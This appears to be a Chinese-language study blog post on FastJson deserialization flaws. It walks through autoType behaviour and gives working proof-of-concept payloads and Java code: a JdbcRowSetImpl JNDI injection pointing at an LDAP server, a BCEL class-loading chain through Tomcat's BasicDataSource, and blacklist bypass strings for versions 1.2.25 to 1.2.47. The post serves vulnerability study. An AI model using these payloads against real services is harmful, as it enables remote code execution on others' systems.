先抛出一个问题,一个Json解析的功能库,为什么能够代码执行呢
我们先来看一下FastJson的正常解析的使用方法,这里我们可以看到我们将字符串s进行解析然后输出,是以JSON形式进行的输出
package FastJson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class JSONUnser { public static void main(String[] args) throws Exception{ String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}"; JSONObject jsonObject = JSON.parseObject(s); System.out.println(jsonObject); System.out.println(jsonObject.getString("param1")); } } //{"param1":"aaa","param2":"bbb"} //aaa
如果我们让他解析的形式是在类中进行解析,令字符串解析成一个Person对象,我们就得到下面对应的结果
package FastJson; public class Person { private String name; private int age; public Person(String name, int age){this.name = name;this.age = age;} public Person(){System.out.println("constructor");} public String getName() {System.out.println("getName");return this.name;} public void setName(String name) {System.out.println("setName");this.name = name;} public int getAge() {System.out.println("getAge");return this.age;} public void setAge(int age) { System.out.println("setAge");this.age = age;} }
package FastJson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class JSONUnser { public static void main(String[] args) throws Exception{ // String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}"; String s = "{\"age\":18,\"name\":\"abc\"}"; Person person = JSON.parseObject(s,Person.class); System.out.println(person.getName()); } } /* constructor setAge setName getName abc */
package fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class JSONUnser { public static void main(String[] args) throws Exception{ /* String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}"; String s = "{\"age\":18,\"name\":\"abc\"}"; */ String s = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"abc\"}"; JSONObject jsonObject = JSON.parseObject(s); System.out.println(jsonObject); } } constructor setAge setName getAge getName {"name":"abc","age":18}
上面我们就可以发现,通过解析字符串,最后竟然对Person里面的类进行了解析实例化赋值调用操作,赋值要不就是反射赋值,要不就是set函数去改,我们可以发现这里是通过调用Person里面的set函数去进行的赋值。下面我们就来代码调试一下看看这里赋值的逻辑是什么样的。
JSON.parseObject
的地方下一个端点:……后面跟的很乱,就不在这里写了,具体后面要用到的基本上已经提到了……
根据上文的分析,在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType
特性。如果@type
标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。
首先我们先来总结一下FastJson反序列化和原生反序列化利用不同的点:
FastJson不需要实现Serializable
不需要变量不是transient/可控变量:
变量有对应的setter
或是public/static
或满足条件的getter(返回值是):
反序列化入口点不是readObject,而是setter或者是getter
执行点是相同的:反射或者类加载
JNDI
注入:getDataSourceName
下面的参数可不可控,可以看到存在setter方法,所以可控:package EXP; import com.alibaba.fastjson.JSON; public class FastJsonJdbcRowSetlmpl { public static void main(String[] args) throws Exception{ //@type调用com.sun.rowset.JdbcRowSetImpl类里面的setter触发connet,connect触发JNDI注入 // 第二个键对传入变量名 /* public void setDataSourceName(String name) throws SQLException { */ // 第二个值对应JNDI注入的链接 // 第三个值对应调用connect方法的setAutoCommit /* public void setAutoCommit(boolean var1) throws SQLException { */ // 第三个值传入一个布尔值 String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/rNMfFuPI\",\"AutoCommit\":\"false\"}"; JSON.parseObject(s); } }
版本限制,依赖限制,出网(JNDI外联)
我们在jdk的内置类中找到了这样一方法,能够进行动态类加载,就是ClassLoader里面的loadClass方法,在里面调用了defineClass:
我们先来看一下如何使用这里的动态类加载来加载任意类:
我们想要调defineClass,就要保证clazz不为null,然后我们就要调前面的createClass
方法,然后里面调用了decode
方法返回了clazz值,所以我们在编写exp的时候就需要先进行一个encode
:
package EXPFastJson; import java.io.*; import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; public class FastJsonBcel { public static void main(String[] args) throws Exception{ ClassLoader classLoader = new ClassLoader(); byte[] bytes = convert("D:\\Tomcat\\CC\\target\\classes\\EXP\\Demo.class"); String code = Utility.encode(bytes,true); //使用BCEL方式动态加载一下 classLoader.loadClass("$$BCEL$$"+code).newInstance(); private static byte[] convert(String s) throws Exception{ } }
然后下面我们就需要考虑如何调用loadClass方法,在tomcat包下面找到了一个BasicDataSource的类,里面调用了forName方法,这里forName方法的底层逻辑其实调用了loadClass方法,所以如果我们让dirverClassLoader等于ClassLoader,让dirverClassName等于我们自己的恶意类,就可以执行。
然后恰好这两个变量还能够通过setter方法进行可控:
然后我们就来看最后能不能调用到某个setter方法或者getter中,看哪里能够调用forName方法对应的createConnectionFactory方法:
再寻找createDataSource方法:
最后我们就找到了getConnetion这个方法,所以单纯的调用流程就是下面这个样子,我们再把他转换为JSON的形式
package EXPFastJson; import java.io.*; import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp2.BasicDataSource; public class FastJsonBcel { public static void main(String[] args) throws Exception{ ClassLoader classLoader = new ClassLoader(); byte[] bytes = convert("D:\\Tomcat\\CC\\target\\classes\\EXP\\Demo.class"); String code = Utility.encode(bytes,true); // classLoader.loadClass("$$BCEL$$"+code).newInstance(); BasicDataSource basicDataSource = new BasicDataSource(); basicDataSource.setDriverClassLoader(classLoader); basicDataSource.setDriverClassName("$$BCEL$$"+code); basicDataSource.getConnection(); // JSON.parseObject(s); } private static byte[] convert(String filePath) throws IOException { File file = new File(filePath); // 检查文件是否存在 if (!file.exists()) { throw new FileNotFoundException("文件未找到:" + filePath); } // 将文件内容读取到字节数组中 try (InputStream inputStream = new FileInputStream(file)) { ByteArrayOutputStream byteOutput = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int bytesRead; while ((bytesRead = inputStream.read(buffer)) != -1) { byteOutput.write(buffer, 0, bytesRead); } return byteOutput.toByteArray(); } } }
package EXPFastJson; import java.io.*; import com.alibaba.fastjson.JSON; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp2.BasicDataSource; public class FastJsonBcel { public static void main(String[] args) throws Exception{ ClassLoader classLoader = new ClassLoader(); byte[] bytes = convert("D:\\Tomcat\\CC\\target\\classes\\EXPFastJson\\Demo.class"); String code = Utility.encode(bytes,true); // classLoader.loadClass("$$BCEL$$"+code).newInstance(); // BasicDataSource basicDataSource = new BasicDataSource(); // basicDataSource.setDriverClassLoader(classLoader); // basicDataSource.setDriverClassName("$$BCEL$$"+code); // basicDataSource.getConnection(); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; // parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection() JSON.parseObject(s); } private static byte[] convert(String filePath) throws IOException { File file = new File(filePath); // 检查文件是否存在 if (!file.exists()) { throw new FileNotFoundException("文件未找到:" + filePath); } // 将文件内容读取到字节数组中 try (InputStream inputStream = new FileInputStream(file)) { ByteArrayOutputStream byteOutput = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int bytesRead; while ((bytesRead = inputStream.read(buffer)) != -1) { byteOutput.write(buffer, 0, bytesRead); } return byteOutput.toByteArray(); } } }
我们可以发现在1.2.25中,对@type
进行了修复,检测了是否能够进行AutoType
,而1.2.24在这里是直接进行loadClass
,所以我们就要对这里进行一个绕过,跟进一下这个函数:
然后我们使用流程图来理解一下里面这个函数里面的逻辑,看看什么时候来进行类的加载:
所以能够有可能返回类的只有第二个,我们就来看一下如何在缓存中找到我们想要加载的类:
我们跟进getClassFromMapping方法中,从里面找mapping里面的缓存,然后在loadClass中我们可以发现是有可能对类进行控制的,其他地方都是指定了一些基础类进行的缓存,而loadClass这里只要我们加载类成功以后,他就会放入缓存中,下次调用直接从缓存中进行加载,这里我们就要想怎么才能够在loadClass的时候将我们的类加载入缓存当中:
根据图片里面的调用点我们最后确定了MiscCodec里面的deserialize函数中,当clazz==Class.class的时候会进行调用,然后我们来观察MiscCodec可以发现,他继承了反序列化和序列化的接口,在fastJson的反序列化中也会把他当作反序列化器来进行调用:
所以如果FastJson反序列化的类是属于Class.class的时候,就会调用MiscCodec反序列化器,然后调用loadClass,传入我们想传入的字符串strVal,然后在loadClass中作为String className进行加载并放在缓存里面。
具体赋值我们可以看这个位置:我们可以看到这里的parser
对应的就是后面的lexer.stringVal
比较,必须满足是val才能够不抛出异常,所以我们就让string=val就可以,然后后面我们对应反序列化的内容为恶意类就可以
package EXPFastJson; import com.alibaba.fastjson.JSON; public class FastJsonBypass1247 { public static void main(String[] args){ //第一步:反序列化一个Class类,值为恶意类 //用之前payload从缓存中继续加载 String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/cgQuBZlq\",\"AutoCommit\":\"false\"}}"; JSON.parseObject(s); } }
我们第一步是加载Class类,可以看到在缓存当中找到了,然后最后返回了Class类:
第二步我们就查到了对应的反序列化器是MiscCodec,然后调到MiscCodec类下的deserialze函数:
然后在这里判断lexer.stringVal()里面是否存在val,不存在就抛出异常
然后将我们的恶意类放入strVal里面进行loadClass加载,这里我们也可以发现在开启AutoTyoe的时候也存在绕过黑名单的一个形式:
所以这样的话mapping就有了我们加载的恶意类,然后在调用之前的恶意类我们就能够直接进行加载了。
我们上面提到了在缓存中获取类的下面有两个判断,也就是说在我们开启AutoType的情况下可以用下面两种方式来进行绕过:
[
开头则去掉[
后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)L
开头,以;
结尾,则去掉开头和结尾进行类加载所以我们用下面这个就可以绕过黑名单进行加载,开启AutoType:
import com.alibaba.fastjson.parser.ParserConfig; ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"ldap://127.0.0.1:8085/rNMfFuPI","AutoCommit":"false"}
package EXPFastJson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class FastJsonBypass1247 { public static void main(String[] args){ //第一步:反序列化一个Class类,值为恶意类 //用之前payload从缓存中继续加载 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // String s="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hFtNevZa\",\"AutoCommit\":false}}"; String s="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hFtNevZa\",\"AutoCommit\":1}"; JSON.parseObject(s); } }
1.2.42相较于之前的版本,关键是在ParserConfig.java
中修改了1.2.41前的代码
L
和结尾的;
但是可以发现在以上的处理中,只删除了一次开头的L
和结尾的;
,双写可以绕过。
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","DataSourceName":"ldap://127.0.0.1:8085/hFtNevZa","AutoCommit":1}
1.2.43版本修改了checkAutoType()
的部分代码,对于LL等开头结尾的字符串抛出异常,这里我们就可以用[
和{
进行绕过:
{"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/hFtNevZa","AutoCommit":1}
看到报错提示,期待出现[,但是出现了两个逗号,所以我们在后面再加一个[:
然后我们再按他说的在后面再加一个{:
成功执行。
FastJson的版本绕过除了1.2.47之外,还有两个版本的绕过,这次就先了解到这里,后面一段时间去学取证,等有空回来再继续啃Java。
参考文章:
https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://goodapple.top/archives/832